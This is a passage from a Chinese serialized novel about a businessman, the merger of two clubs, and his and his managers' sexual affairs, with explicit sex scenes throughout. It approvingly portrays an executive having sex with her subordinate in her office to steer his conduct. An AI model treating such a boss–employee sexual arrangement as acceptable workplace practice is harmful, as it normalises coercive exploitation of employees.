“你以为我真相信这话?说吧,想不想让我把你治好?”
“不想我怎么会和你**?”
“好。你就交给我了,一定会让你享受到极乐世界。”
“我是男科医生,虽然对女性了解得少一些,也比你懂的多多了。有你配合就好,我来安排计划。”
“这么说我就是你给自己治疗的药引子?”
“就算是吧。找不到你这个药引子,我宁愿一辈子没有高潮。”
“我有这么重要?”
他们在床上坐起来,也不穿衣服,像夫妻一样在做过爱以后还继续聊一会。
“告诉我,你这次出去有什么收获。我说的是见识方面。”
“收获太大了。玉琴他们建议我去欧洲,十分正确。我没有上过大学,对西方的了解太少了,可现在是全球经济时代,你不了解西方,就不可能把握住经济的命脉。”
“我是医生,可不懂经济。”
“我不是医生,也不懂经济。我了解的是西方的历史与人文,而且是以我只有高中水平的世界地理历史知识的眼光来看它。但我是以自己的眼光来看,这很重要。”
“为什么?对一个医生来说,我和你的高中地理历史水平差不多。”
“有自己的眼光,就会有自己独立的思维,才不至于被那些所谓的专家牵着鼻子走,从而发现真理。想知道我这个心得是怎么来的吗?”
“你说吧。”
“有一个段子,说一个专门研究爱情与婚姻问题的社会学家,觉得古往今来的专家学者或者民间为爱情和婚姻下的定义都不准确,什么婚姻是爱情的坟墓啊、爱情是文学永恒的主题啊,等等。便做了一个社会调查,问无数人同一个问题:你认为爱情是什么?婚姻是什么?两者有什么区别?最后问到了一个老农。老农说:爱情就是你和她睡了一次,还想和她睡;婚姻是你和她睡了一次,还得和她睡。老专家最终认为这个结论最正确。”
“真是太精辟了。”
“我就是从中得到启示,老农以自己独特的视角和观念来评价事物,哪怕他没有读过书,他也是专家,甚至超越专家。”
第009章 丛林法则
“那么你从欧洲看到了什么?”
“我是带着东西方文化对比的心态去欧洲的。我发现西方是阳刚的,东方是阴柔的;西方是强盗,东方是母亲。从古罗马大斗技场,我看到了西方传统对血腥、暴力的崇尚,西方神话也津津乐道地以战争为主题;而从宙斯神庙和巴黎圣母院,则看到西方人为他们的血腥与暴力蒙上了虚伪的神圣的面纱。十字军东征就是这种血腥暴力和神圣使命结合起来的一次淋漓尽致的演绎。用尼采的哲学命题来说,西方文明就是日神精神和酒神精神的结合,我的理解是:庄严、神圣的外在形象是虚伪的日神精神,血腥和暴力则是务实的酒神精神。
“我说具体一点吧。麦哲伦和哥仑布航海,其目的是寻找新的殖民地,而且一路上停靠到哪里、便抢劫杀戮到哪里,当然也用枪炮强迫人家做点生意;郑和航海时,他的船舶吨位远非哥仑布们所能比的,船上大炮的火力也是当时世界上最强的,相当于今天美国航母编队的地位,甚至更强,却毫无杀戮,只是交换物品做生意。麦哲伦和哥仑布其实就是海盗,可在西方人的意识里,海盗是民族英雄,政府是海盗的最强大后盾;在中国历史上海盗则是要被政府消灭的,比如实施海禁,就是断了海盗的生路。
“我认为这一切都源自一个至今仍然不变的法则:丛林法则。现在社会再发达,我们依然是生活在危机四伏的丛林中,强者生存、适者生存。我怎么看那些游弋在大洋上的什么航母舰队,就是现代化的海盗船,它所宣扬的自由、**理念,就是虚伪的日神精神。”
志刚觉得自己说得太长了,便停了下来,低头看夏青的反应。夏青也瞪着眼睛看他,说:“我发现你这次回来特别自信,就是从中得到启发的?”
“是的。在丛林中你必须要有实力,还要有侵略性。因为你只有扩张才能自保,如果只想着自保,迟早会被别的野兽吃掉。”
志刚突然想到了东邻会馆,想到强辉和他说过:“斗争其实还没有结束,你不把他收购了,他就会永远惦记着你。不怕贼偷,就怕贼惦记。让你没有安全感。你和他真成为朋友了,收购他或者与他合作了,斗争也只能是告一段落。”
第二天,志刚正准备给周志民打电话,他的电话先来了。
“冯总,听说你休了一个长假回来了,今天晚上请你过来,为你接风洗尘,可务请赏光啊。”
“好。恭敬不如从命,我就打扰了。”
晚上,志刚和兰花、贵玲、曲贝贝、沈琼赴宴,周志民那边还是蔡明英、蔡明丽姐妹,加上一个李世勋。现在大家所有的矛盾都释怀了,李世勋和沈琼也复婚了,蔡明丽招术使尽,李世勋宁愿丢官职、丢名誉也不就犯,她也没辙。
这两个月,兰花、贵玲和蔡氏姐妹交流过多次,已经初步达成共识。正巧,今年以来钢材价格下滑得厉害,而且是全球性的低迷,周志民资金周转困难,也急于把东邻会馆转让部分出去。现在双方已经谈妥,邻村会馆注入资金并负责管理运营,拥有51%股份,东邻会馆改名为邻村会馆,编号002,只等在合同上签字盖章了。所以,今天的聚会氛围很轻松,不会谈任何实质性内容,就是交流一下感情。
志刚不免应他们的要求,讲了一些旅欧见闻。昨晚和夏青谈的内容他倒没多讲,他知道在座的除了几位记者文化都不高,谈也白谈,甚至会引起无谓而没有结果的争论。
酒到中途,周志民站起来敬李世勋和沈琼:“我敬你们夫妻,也是代明丽赔罪,希望你们原谅她的无礼。”
李世勋和沈琼连忙站起来,沈琼说:“周总,事情过去了,就当什么也没发生。生活还和原来一样嘛。”
蔡明丽也站起来说:“姐夫代我陪罪不行,我应该自己道歉。我先干了。”
贝贝说:“你们夫妻经过波折又重归于好,可喜可贺,喝交杯酒。”
在众人的起哄声中,李世勋和沈琼喝了交杯酒。
周志民对志刚说:“冯总,我还有一个请求。”
“你说。”
“我想让明丽还在会馆里工作,你看可以吗?”
“这没问题呀。本来你就应该派人参与管理的,明丽可以担任副总经理,配合总经理工作。不过一切管理方式都要按照邻村会馆的规范来做。”
周志明没想到志刚如此大度,感动地又敬一杯酒。
次日,张贵玲代表邻村会馆、蔡明丽代表东邻会馆签订了并购协议。贵玲和志刚商量过以后,决定自己兼任邻村会馆二号馆的总经理,暂时把主要精力放到二号馆来。一号馆有黄婷婷,她已经是副总经理了,又是管理专业大学毕业,完全能负起责任来。
贵玲把秘书小王带到了二号馆。小王叫王伟峰,是营销专业本科生,刚毕业时正好邻村会馆大量招聘储备干部,便应聘进来,从普通服务员干起。贵玲见他踏实肯干,人也本份,便让他做秘书工作,其实相当于办公室主任,只不过会馆没有设办公室。他跟贵玲干几年了,成熟不少,对邻村会馆的所有情况都了如指掌,把他带到二号馆,就可以很轻松地复制邻村会馆的一套管理模式。
会馆易手,没有任何仪式,也不停业,只把牌子换了,外装修也在不影响经营的情况下进行,里面装修暂时不动。贵玲让蔡明丽继续管理,她和小王各自花一个礼拜时间了解情况。一个礼拜后,贵玲把小王叫到自己办公室。
“小王,谈谈你的看法吧。”
“我写了个调查报告和整改方案,已经发到你的邮箱了。”
“好,我回头再看。你先简要说说。”
“我觉得,目前急迫要做的事,一是发布新的规则和制度,并强制执行;二是重点规范几个关健部位,比如采购环节、后厨环节等;三是加强员工培训,尽快让他们接受邻村的文化和理念。从长期看,中层干部的培养和调整要逐渐完成,内装修也要改造成符合邻村文化的布局与风格。”
“你说的三点急迫要做的事,最关键是人员的培训,这不是短时间能解决的问题,你有没有短平快的办法?”
“有。把一号馆和二号馆的员工临时对调三分之一,在不影响各自经营的情况下,让二号馆的三分之一员工能尽快熟悉一号馆的模式,而一号馆过来的三分之一员工可以传帮带,让二号馆员工先受到影响。过一个月,再对调三分之一的员工。几轮对调下来,原来的员工还回到他原来的地方,而二号馆的员工就相当于换一次血了。”
“好。”
贵玲一拍桌子,高兴地说,“你这办法太好了。就这么办。我放权给你,从发布新规则到几个重点的整改,你都负起责任来。有疑问和难题就找我。我想你的名头也该换换了,以方便工作,就叫运营总监吧。”
“好的。”
小王感激地点头,转身走出办公室。
贵玲对这小伙子很满意,认为假以时日,可堪大用。小伙子瘦瘦高高、白白净净的,大眼晴、高鼻梁,这样既能干又长得帅气的人才确实难得。贵玲原本就是个好**的女人,挑秘书形像上要求很苛刻。不过,她从没想过把秘书发展成性伴侣。她一向都把工作与生活分得很明确。
新规范的推行,在意料之中地遇到了阻力,而这些阻力的后台是蔡明丽。二号馆的员工从上到下,绝大多数都是蔡明丽招聘进来的,在她的培养和提拔下,自然形成了以她为核心的小圈子,尤其是一些关健岗位的中层干部,如大厨、采购、餐饮部主管、客房部主管等,都唯蔡明丽马首是瞻。刚上任的运营总监王伟峰自然就遇到了下面的抵制。
第一个与王伟峰作对的是采购员蔡兵。王伟峰要求今后所有菜蔬和低质易耗品全部由邻村会馆的供货商提供,并且手续完备、检验严格,蔡兵的财路就被断了。他原来想叫谁送菜就叫谁送,价格只要不太离谱随便说,人家还给他好处费,这采购原本就是个肥差。他忍了一个月,忍不下去了,便告到蔡明丽那里,说这个王总监看谁都不顺眼,处处为难员工,再这样下去,骨干员工就会流失完了。
这蔡兵是蔡明丽大哥的独生儿子。因父亲早死、母亲残疾,长兄如父,她姐妹俩是大哥带大的,所以对这个侄子特别照顾。蔡兵这样一说,蔡明丽便找到贵玲,说像王总监这样管理不行,会把会馆搞垮掉的。就是治病也不能这么急,病去如抽丝嘛。贵玲心里有数,表面上安慰蔡明丽几句,说她会找王总监谈,让他动作放缓一点,照顾一下大家的情绪。
贵玲根本就没有和王伟峰谈,继续坚定地支持他的整改。蔡兵干脆三天打鱼两天晒网,带来带不来的,故意给王总监出难题:看你怎么办?新颁布的规定很细也很严格,所有员工也都观望着。如果按规定处理,蔡明丽那一关不好过,如果不处理,那么这张管理的网就会破一个大洞,颁布的所有制度就会形同虚设。
王伟峰心里很明白自己的处境,他找到贵玲请示,贵玲说:“违反制度的事你不用请示我,照规定处理。”
小王说:“照规定就要开除蔡兵了。”
“有什么问题吗?”
“他是蔡副总的侄子。”
“他就是我的侄子你也有权开除。就看你有没有这个胆量。”
“可是……”
贵玲知道他还是年轻,也怕蔡明丽以后给他小鞋穿,毕竟人家还代表了49%的股权。为他这个完全可以被替代的人物,在必要时51%完全有可能会向49%让步的。
贵玲说:“小王,你还不了解邻村公司的一个传统,就是在必要时‘杀鸡给猴看’。那时我都还没有进来,志刚和兰花把彭大鹏给开除了。我们刚接手二号馆,如果不果断下手扬威,你就再也管不好它了。所以这个时候,一定要痛下决心。你如果下不了手,这个恶人让我来做。”
聪明的小王一点就透,说:“张总,还是让我来做吧。不到必要时你不要出面。”
“好。蔡明丽那边我来和她谈。”
贵玲亲自和蔡明丽谈,是给她面子,她心里明白。就是不和她谈,直接开除蔡兵,她也没话说。蔡明丽是一个比较任性、也比较强势的人,可经过与李世勋的纠缠和这次东邻会馆被并购,使她也不得不收敛一些了。
但是这口气她无法咽下去。她气的倒不是王伟峰,而是压了自己一头的贵玲。她知道没有贵玲的撑腰,王总监是不敢开除蔡兵的。
会馆一般是下午开始营业,要到凌晨才结束,这些会员都是夜猫子。贵玲很早就回家了,都是蔡明丽和王伟峰盯着。蔡明丽对王伟峰还算客气,就是蔡兵被开除了,也没有为难他。正在转型期的会馆事特别多,王伟峰经常从上班忙到12点才会轻松一些。
蔡明丽见他闲下来,便说:“伟峰,来休息一下吧,我请你喝点。”
按规定,蔡明丽和王伟峰这个级别的早就可以下班了,所以王伟峰就坐了下来,否则,除非陪客人,是不允许喝酒的。
蔡明丽开了一瓶红酒,给伟峰和自己斟上,举起杯子说:“伟峰,蔡兵的事你不要放在心上,你做的对,我支持你。”
伟峰有些意外,继而心里一暖,便说:“谢谢。”
把酒喝了。
“以后有什么事,你大胆管。有谁不听你的,就告诉我,我支持你。”
“谢谢蔡总。”
伟峰有些感动了。
“不用谢。我们是一条船上的,都是为了会馆好嘛。”
几杯酒一喝,他们就聊开了。累了一天,伟峰也想放松放松。明丽喜欢穿低胸衣服,今天也是,两只乳房在伟峰眼前晃动着,随着她倒酒的动作大一点,还不断颤抖着。蔡明丽本来就是个性感而妖娆的女人,小伙子哪里经得住这种诱惑,早就心猿意马了。
一瓶酒喝完,蔡明丽伸手摸着额头说:“我头晕了。你扶我上楼休息。”
王伟峰扶着蔡明丽上楼。他虽谈过恋爱,却从没有睡过女人,现在手里抱着这样一个性感的成**人,下面早就顶帐篷了。他打开一间客房,扶着蔡明丽进去,把她放到床上,正要起身,蔡明丽一把抱住他,他便压在这女人身上。
女人比沙发还软,伟峰的胸前感觉很舒服,明丽抱住他的头,舌尖便深入进去。伟峰感到自己要爆炸了,三下五除二把明丽和自己脱 光,就直直地想进去。明丽至少和五个处男睡过,知道第一次睡女人的小伙子都一样,找不到入口,她用三根手指捻住伟峰坚硬的小弟弟,把它放进去。
和李世勋分手以后,蔡明丽还没有找到新欢,王伟峰正好填补了这个空。她喜欢和小伙子**,虽然没经验,但有冲劲。而王伟峰一旦睡了这个女人,便天天想要她了。每天晚上12点一到,他们便一前一后地上楼,员工们便互相挤眉弄眼,都知道他们上去**了。
伟峰对管理的要求也不知不觉地放松了。现在明丽的话他多少要听一些,有时虽觉得她说的不对,也只好马马虎虎,听一半拒绝一半,搞得不伦不类,员工也无所适从。
贵玲要负责两个馆,见伟峰干得很好,二号馆便去得少了。但渐渐感到有点不对劲。首先是伟峰的汇报不对劲,不但汇报得少了,内容也比以前简单许多,而且不疼不痒,没有重点和要害。她便到二号馆去多呆一些时间,发现员工纪律松散、服务的规范性差了很多。她知道出现问题了,却不知道出现在哪里。
贵玲认为,问题就出在伟峰身上。会馆的问题自已去几次就发现了,他不可能看不出来,既然能看出来,又没有采取有力措施,向自己汇报时还轻描淡写地敷衍了事,那么,极有可能是思想上有波动。如果不是他自身问题,在二号馆能影响他的,只有一个蔡明丽。
贵玲决定和小王好好谈谈。她把小王叫到她在邻村公司的办公室,和志刚办公室隔壁,大小相当。今天志刚和兰花都不在公司。她坐在沙发上,叫小王也坐,问道:“小王,最近家里有没有什么事?”
“没有。”
“你个人有没有什么烦恼?比如恋爱什么的?”
“也没有。”
“这么说,最近你的工作不尽如人意,和你家里以及你个人没有关系了?”
伟峰脸红了,低下头说:“没有。”
“好吧。干脆点,告诉我是什么原因。”
伟峰低着头不说话。
“你不好意思说,我就来猜一猜怎么样?以前蔡明丽说话你可以不听,现在她说的你不得不听。对吧?”
见伟峰还是不说话,贵玲知道说对了:“为什么现在你不得不听她的?是因为你和她上床了,迷恋她的身体。是吧?”
见伟峰的神态,贵玲知道自己又说对了。贵玲没有再说,而是把自己上衣和胸罩都脱了,说:“不就是女人吗?你没有见过,想尝尝味道,告诉我呀,我让你尝。”
她这一脱,伟峰就看呆了。贵玲的乳房比明丽略小,却漂亮多了,饱满而富有弹性,她的脸蛋比明丽更漂亮。伟峰对贵玲与志刚的关系也有所耳闻,却从没想过自己与她怎样,毕竟她是自己的上司和引路人,还因为贵玲从不在公司与男人有什么纠缠。
贵玲给伟峰一件一件地**服,说:“今天我叫你尝尝女人的滋味。”
小伙子按捺不住了,眼前已经不是自己尊敬的上司,而是一个成熟美丽的妇人。他把贵玲按倒在沙发上,便进入她,拼命攻击她。贵玲费了不小的劲,才把他拦得缓一些,说:“不要着急,小伙子。**要有节奏,不能一味猛冲。我们先放松一下,聊聊吧。”
伟峰问:“张总,你不怪我吗?”
“不怪你。男人都会犯这种错误。只不过,你不能让自己的错误被别人利用了。懂吗?”
“懂了。”
“好。你现在使劲,我要……啊——”
贵玲高潮过去,亲吻着伟峰,问道:“小伙子,尝到味道了吧?”
“嗯。”
伟峰把头埋在了贵玲胸前。
“伟峰,我今天和你**,是要让你知道女人有多美妙。也让你知道,女人再美妙,也不能被女人牵着走。你是我一手培养起来的,我很看重你,但是如果你因为享受女人而影响工作,我就不能重用你了。”
“张总,我明白了。”
贵玲点着伟峰的鼻子说:“你还不明白。以后叫我贵玲姐吧。”
“好。贵玲姐。”
和贵玲亲近的人都这样叫她,伟峰乐得这样叫,只是以前不敢叫。
“伟峰,你站在我的角度,告诉我对你怎么处理?”
“目前看来,我已经不适合在二号馆工作了。你把我调到一号馆来吧,把黄婷婷调到二号馆去。”
“好小子,和我想到一起了。不过我要告诉你,你是自由的,以后你愿意和明丽保持关系,我不管。”
伟峰大着胆子说:“我想要你。”
“我不会再轻易和你**。至少,不要让公司任何人知道我和你睡过了,一旦有人知道了,你就得离开公司。明白吗?”
“明白了。” 02-12
第010章 毁灭就是新生
志刚把贵玲、兰花叫到自己办公室,坐在沙发上,把他写的关于邻村酱香老酒的推广方案给她们看,商量着怎样完善。
有人敲办公室打开的门:“请问,冯志刚在吗?”
“请进。”
志刚说。
一个美丽的女郎走了进来,脸庞清秀脱俗,穿一套纯白紧身衣裙,高胸**,尽显美丽曲线,头戴一顶时尚小圆草帽,像是在海滨旅游刚回来。
“请问你是……”
看着像有点认识,但更感到陌生,志刚有点懵了。
女郎咯咯地笑了,笑得弯起腰,捧着小腹。志刚和兰花、贵玲只得看着她笑。女郎笑够了,直起身子,摘下圆草帽,露出了只长一层发茬的尼姑头。
“欣宜!”
志刚大喜,抱住欣宜就亲她的脸。
“来来,我介绍一下。”
志刚拉着欣宜说:“这就是我和你们说的管理农业基地的最佳人选,贾欣宜。”
兰花和贵玲互相看看,还是有点莫名奇妙。
志刚对欣宜说:“这是邻村餐饮总经理陈兰花,这是邻村会馆总经理张贵玲,都是我最得力的帮手。”
“你好,陈总。你好,张总。”
欣宜大方地和兰花、贵玲握手。
“志刚,”
兰花上下打量着欣宜,笑着说,“你又从哪里弄来个美人?”
“从庙里。不对,是从庵里弄来的。”
志刚说,“你们不信?不信问她自己。”
欣宜说:“我是白云庵里的静圆尼姑。”
“真的?”
白云庵兰花和贵玲都知道。
贵玲问她:“你还俗了吗?”
欣宜看着志刚,说:“是志刚叫我还俗了。”
“什么?是他叫你还俗的?”
贵玲笑着说,“他一定是骗你,说要娶你吧?”
志刚说:“我有那么小人吗?就算我是小人,也不会那样没智慧,采取这种小儿科伎俩吧。”
欣宜笑着说:“他的骗术很高明,正义凛然、慷慨激昂的,一番大道理就让我信他还俗了。不过他的目的跟小人没什么两样。”
志刚说:“你们两个说,这么好的一个美女去做尼姑了,可惜不可惜?”
“太可惜了。”
贵玲说,“我尤其为志刚可惜。”
志刚说:“不论她属于哪个男人,也比属于佛强。”
欣宜竖起食指警告他说:“不许对佛不敬。我虽还俗了,还是信佛的。这是你的观点。”
“对不起。”
志刚道歉说,“是我失言了。不过,我真的为你安排了一个最佳岗位,可不是为了娶你。”
“什么岗位?我正为工作发愁呢。”
“坐下来说吧。”
他们围着老树根坐下,志刚烧水泡茶,说:“我们需要在彭家村创建一个绿色生态食品供应基地,顺便再把彭家村的撂荒地开发出来。那边的事我委托大群媳妇和大明媳妇牵头,公司需要派一个得力的人去掌管全盘。”
“这两个人,”
志刚指指贵玲和兰花说,“是这边的支柱,每人管一个公司,抽不开身,我想你就是最佳人选了。”
欣宜高兴地说:“那太好了,这个工作我喜欢,而且我也熟悉。”
志刚对兰花和贵玲介绍说:“欣宜在大学是学经济管理的,又在政府工作过,熟悉农村情况,而且,对彭家村一带的人和事也了解。”
兰花说:“我说志刚,你怎么这样有福气?想做什么事就有个好女人来帮你。”
“有福气吗?”
志刚说,“我怎么觉着我是最没有福气的人了?你说我想娶的人怎么就娶不到?”
“好了好了。”
贵玲知道他想井儿了,“不说这个,我去安排给欣宜接风。唉,欣宜,你喝不喝酒?”
欣宜抿着嘴笑,志刚说:“废话,她都还俗了还能不喝酒?”
贵玲对欣宜做个鬼脸说:“对不起。我怎么还把你当尼姑。”
欣宜也调皮地说:“志刚说了,只要心里有佛,在哪里都是出家。你当我还是出家人没有错。”
贵玲看看志刚,对欣宜说:“他就是用这些话把你骗得还俗的?”
“是啊。不过我愿意,你难道还想让我当尼姑?”
“当然,你最好还是当尼姑。知道为什么吗?我吃醋了。以后志刚还不知道怎么疼爱你呢。”
欣宜对志刚说:“志刚,你确实有福气,身边的女人都很可爱。”
曲贝贝也参加了为欣宜洗尘的酒席,她正好今天躲在民工之家的房间里写稿。
听说志刚要在老家创办农产品基地,曲贝贝来了兴趣,她问志刚:“我能不能去住一段时间?正好可以填补论文的一个空白,从民工的家乡来挖掘他们品格和性情的人文根源。”
“你的论文不是写好了吗?”
“是写好了。可还没有答辩呢。就是通过了,我还要整理出版。我可不是只为一个硕士头衔才写它的。”
“行啊,这不是难事。不过那里没有男人,你要和那些留守妇女一样抗旱了。”
“你以为我一天都离不开男人吗?我只是喜欢粗犷、奔放的男人,却并不是天天想要。再说,亲身体验一下留守妇女的生活,收获会更大。”
“当然,除了没有男人那里什么都好。有吃有住,蓝天白云,空气新鲜,你会过得很愉快的。那里才是民工们真正的家。”
欣宜说:“贝贝,我会为你安排好的。而且,我能成为一个合格的导游,带你走遍那附近的山水,包括到白云庵里烧香。白云庵可是我的家。”
冷菜摆上桌了。志刚对服务员说:“给我拿两瓶邻村酱香老酒。”
兰花打开精致的富有传统风格的瓷制酒瓶,给大家倒上,对欣宜说:“邻村酱香老酒是我们自己开发的酒,品质堪比茅台,它的产地就是和茅台在一起,所有的生产环境都和茅台一样。你品尝一下,看味道怎么样。”
欣宜在政府工作时经常喝酒,茅台喝过不少,她看看杯里酒的成色,微黄而粘稠,再喝一小口,用舌尖品味半晌,甘醇爽口,酱香浓郁,不禁脱口而出:“好酒!”
志刚说:“我又发现了邻村酒业公司总经理的合适人选。只可惜……”
“只可惜她一身不能两用。对吧?”
贵玲接过志刚的话。
“是啊。”
志刚看看贵玲,问她,“你觉得谁来担任这个职务合适?”
“我看还是兰花合适。她有开拓新领域的成功经验,和井儿关系最好,沟通方便。”
“我也是这样想的。”
志刚说,“公司越发展,高端人才就越稀缺,只好让你们这些老将再冲锋陷阵了。兰花你觉得怎么样?”
“我没问题,你决定吧。再说我喜欢井儿,愿意和她打交道。”
“邻村餐饮这边能不能放下?还有邻村民工之家你还兼着呢。”
“这两块都走上正轨了,日常管理都没问题,副手就能胜任。小翠这两年进步很大,餐饮公司交给她很放心。民工之家这块我可以继续兼着。”
“那好,我就这样报董事会讨论了。一个是邻村酒业公司总经理人选,一个是邻村绿色农产品供应基地总经理人选。”
贵玲说:“志刚,成立这么多公司了,邻村集团也该尽快成立了吧?”
“强辉已经把它提到议事日程了。争取明年成立。”
“好。我们为邻村集团即将成立干杯。”
“为邻村酒业公司成立干杯。”
“为邻村绿色农产品供应基地干杯。”
吃过饭,志刚对贵玲说:“欣宜就住客房吧。她过几天就要下乡,没必要安排宿舍。”
几个女人都告别走了,志刚拎起欣宜的行李箱送她上楼。门一关上,他就迫不急待地把欣宜抵到门上亲吻。今天的欣宜太性感了。他还没有想象过欣宜不穿僧衣的模样,今天一见到大喜过望,禁不住就燃烧了。
欣宜也爱怜地亲吻着志刚。这个男人才是她第一个真正的男人,给了她激情,给了她勇气,给了她新生,也给了她第一次真正的高潮。
分别有两个礼拜了,他们自己都觉得意外,怎么像恋人一样产生了思念之情。那天在志刚家第一次**,他们都很明白,或许欣宜对志刚确有感激和敬佩之情,但这也只是一次肉体之欢。这种肉体之欢他们都经历无数次了,与爱情无关。
他们躺到床上时,衣服都被对方脱 掉了,志刚少有地没有前戏,直接进入欣宜。欣宜也早已虚位已待,茶水饲候着了。
进入欣宜,志刚觉得自己坚强有力,信心百倍。他像堤坝阻挡住洪水一样,安然度过了欣宜第一次浪潮的冲击。看着这美丽可爱的女人在自己身下扭动,自己坚硬的部位如指挥棒一样挑着她的洞穴,把她生命的旋律挑在棒尖上转动,觉得人生的美妙不过如此,生命的骤然毁灭正当其时。但是他想尽量多经历几次浪潮的冲击,才让自己毁灭。眼看着第五次浪潮不可阻挡地席卷而来,天地昏暗,他被淹没在深深的大潮底部,终于坚持不住,喷射出他全部生命的能量,射穿大潮,直冲斗牛。他和欣宜一起毁灭了。
每一次毁灭都是一次新生。
强辉说志刚家乡林海市要在上海开一个招商推介会,叫志刚带上兰花、贵玲、欣宜等林海籍人参加。
欣宜说:“志刚,我不想参加。”
“为什么?”
志刚见欣宜为难的神色,忽然知道了,“是因为市委书记王义朝要来?”
欣宜点点头。志刚说:“你还是在躲避。听我的,你要毫不畏惧地参加,你会发现你们的角色已经对调了过来。过去是你躲他,现在是他躲你了。”
“真的?”
欣宜一双好看的眼睛温柔地盯着志刚。
“当然是真的。过去他拿得住你,现在是你拿得住他,主客易位了;过去是你有求于他,现在是他有求于你,还是主客易位了。”
“好。我相信你。”
欣宜冲志刚笑笑,“你每次都是对的。”
招商会在陆家嘴的上海国际会议中心7楼举行。志刚他们签过到,走进会场,被引进了贵宾休息室。强辉也在里面,见他进来,介绍道:“志刚,这就是林海市委王书记。王书记,这就是冯志刚,邻村公司总经理。”
王义朝书记身材高大、形象俊朗,紧紧握住志刚的手说:“冯总,你是我们林海人民的骄傲,我早有耳闻。”
介绍到欣宜时,他一愣,看样子好像要把手收回又不好收回。但他反应很快,立刻握着欣宜的手说:“欢迎。欢迎。”
欣宜对他微微一笑,没有说话,便随着志刚和贵玲、兰花坐下了。
王书记很健谈,不仅谈林海市,还谈世界大势、历史人文,颇有指点江山的气势。志刚想,难怪欣宜那么喜欢他,这样的男人最吸引学历高的聪明女人。
在推介会上,志刚代表邻村公司与林海市黛山县招商局签了投资意向协议书。晚宴上,强辉、志刚和欣宜被安排在主桌。王书记听志刚介绍,欣宜将代表邻村公司负责黛山县投资项目,高兴地端着酒杯走到欣宜身边,说:“欣宜,我现在要称你贾总了,希望我们合作愉快。以后有什么困难就直接找我。”
欣宜站起来,和王书记碰杯,一饮而尽。
回去的路上,欣宜坐志刚的车。志刚见她闷闷不乐,知道是为王书记,问她:“还是放不下王书记,是吧?”
欣宜不作声。志刚说:“如果你真的感到自己还喜欢他,就不要与感情作对,即便他做过对不起你的事,你也会原谅他的。”
“我好像从来就没有恨过他。我可以把自己前途毁了,就是不忍做对他不利的事。”
“所以你遁入空门不全是为自己,至少有一半是为了不影响他的前途?”
“是。”
“傻姑娘。我就喜欢你这种痴情劲。我还是那句话,要敢于面对他,无论你做什么。以后你还会和他打交道的。我只能劝你,不要违背自己的情感。”
欣宜好奇地看着志刚说:“我还没见过你这样的男人,把到手的女人往别的男人怀里推。”
“是我的推不走,不是我的也留不住。”
“我已经想好了。想知道吗?”
“想。”
“王义朝是难得的人才,他天生是要从政的。你是难得的好男人,对人生领悟得透。”
“我自己都认为我不是好男人,你怎么这样评价我?”
“我知道你有很多女人。我问你,你强迫她们了吗?”
“没有。”
“你害她们了吗?”
“也没有。”
“那你坏在哪里了?”
“我一直以为,一辈子只和一个女人睡才是好男人。所以从有第一个女人开始,我知道她不可能是我唯一的女人,就认为自己是坏人了。”
“荒唐。都什么时代了,还这样想。我问你,如果你不睡这些女人,她们能得到什么?”
“没什么可得到的。说得到贞洁吧,也不会,她肯定会睡别的男人。”
“会失去什么呢?”
“恐怕会失去一些乐趣、孤寂中的安慰,还有人生的充实。你是说,我睡了她们,还给她们带来很多收获。”
“对呀。不是你睡了她们,她们也睡了你。互相的。或许她们也内疚,说占你便宜了呢?”
“对。贵玲就占我便宜了,我还是童男子呢,让她睡了。”
“你觉得她占便宜了?”
“其实没有。我还觉得她给了我很多温情呢。”
“还觉得你是坏人吗?”
“不觉得了。其实我这些年只是跟着自己的感觉走,倒没有真在意自己是好人还是坏人。”
“这不就是你刚才劝我的话吗?”
志刚笑了:“还真是的。闹半天我是被你绕进去了。”
“好。现在告诉你我的真实感觉和真实想法。”
“快说。”
“离开他我会痛不欲生。”
“离开我呢?”
“我会毫不犹豫地去死。”
“……看来是我略胜一筹。”
志刚有点感动了,把车开到路边停下来。
“志刚,我爱你。”
“我也爱你。”
他们紧抱住亲吻了。一辆辆汽车从旁边开过去,气浪掀得他们的小车晃动起来。
欣宜很快就返回黛山县去了。送走欣宜,志刚感到怅然若失。这个女人或许能顶替井儿的位置。志刚一直不愿意想井儿,一想到就心痛,有了欣宜以后,感觉好多了。
玉琴来电话了:“志刚,明天有没有空?”
“有空。什么事?”
“明天下午夏青到我家来玩,你也来吧。”
志刚想起对夏青的承诺:“好。”
吴民博士在闵行区银都路一个豪华别墅庄园里买了一幢别墅,玉琴结婚后就搬过去了。搬过去不久,玉琴就怀孕了,为吴民生了个儿子。
志刚到的时候,是夏青给他开的门。换好拖鞋,志刚问:“玉琴他们呢?”
夏青红着脸,笑着指指楼上。
“志刚。”
楼上的房门开着,玉琴的声音听得很清楚,“你们上来吧。”
志刚和夏青往楼上走。夏青好像有点害怕,双手紧紧地攥住志刚的胳膊。志刚有点奇怪,心想她怕什么呢?
走到卧室门口,志刚就明白了,玉琴和吴民正在床上**,玉琴在下面躺着,双腿架到吴民的双肩上,玉茎进入玉门,正反复运动。玉琴在下面断断续续地呻吟。
志刚悄悄地问夏青:“玉琴是让你观看,以挑起你的**,让你来高潮。对吧?”
“是的。”
“怎么样,想来吧?”
“想。”
志刚把他抱进对面房间,慢慢地做足前戏。他知道夏青的情况必须要有耐心。这时,玉琴的海豚音响起来了。志刚说:“别管他们。我们慢慢来。”
吻到三角地带,蚌壳已张开一条缝,有液体填满缝隙。志刚右手食指轻轻地探进去,蚌肉一抖,夏青问:“你手进去干什么?”
志刚说:“我寻找你的**。”
“不好找。我自己找过,叫我老公也找过,都找不到。”
夏青怀疑自己有没有**,或许就因为**不敏感才不来高潮。她是医生,知道这种情况是有的。
志刚的食指进去两节,轻柔地在内壁摸一圈。内壁在不断涌出的液体浸泡中很平滑,摸不出有什么异样。志刚又慢慢地移动手指,感到有一个地方略显滞涩,便轻揉地抚摸这地方,想把这地方抚平到和其他地方一样润滑。夏青忽然像触电一样,浑身一抖,“啊”地叫了一声。志刚继续抚摸,夏青又是一抖。志刚感觉她的抖动和自己摸的那小块滞涩地方有关,便把指尖停在那地方,慢慢地以它为圆心轻揉。
志刚感到夏青身体开始扭动,蚌肉也不断收宿着夹紧他的手指,液体大量地涌出,沿着他的手指流出体外,滴到床上一大滩。他知道找到**了,便依旧不紧不慢地轻揉那块像蚕豆大小的地方。
夏青开始呻吟了,从断断续续到连贯成一条线。志刚知道时机到了,便操起长矛直穿靶心。“啊——”
夏青的呻吟变成细细的叫声,但并不强烈,志刚知道还不是高潮,只是她感到了以前没有达到过的快乐。
志刚坚持了一个多小时,夏青的快 感虽比以前强烈,却仍然没有来高潮。志刚只好缴械投降。
“已经有很大进步了。”
志刚安慰夏青。
“我是医生,当然知道。不过你受累了。”
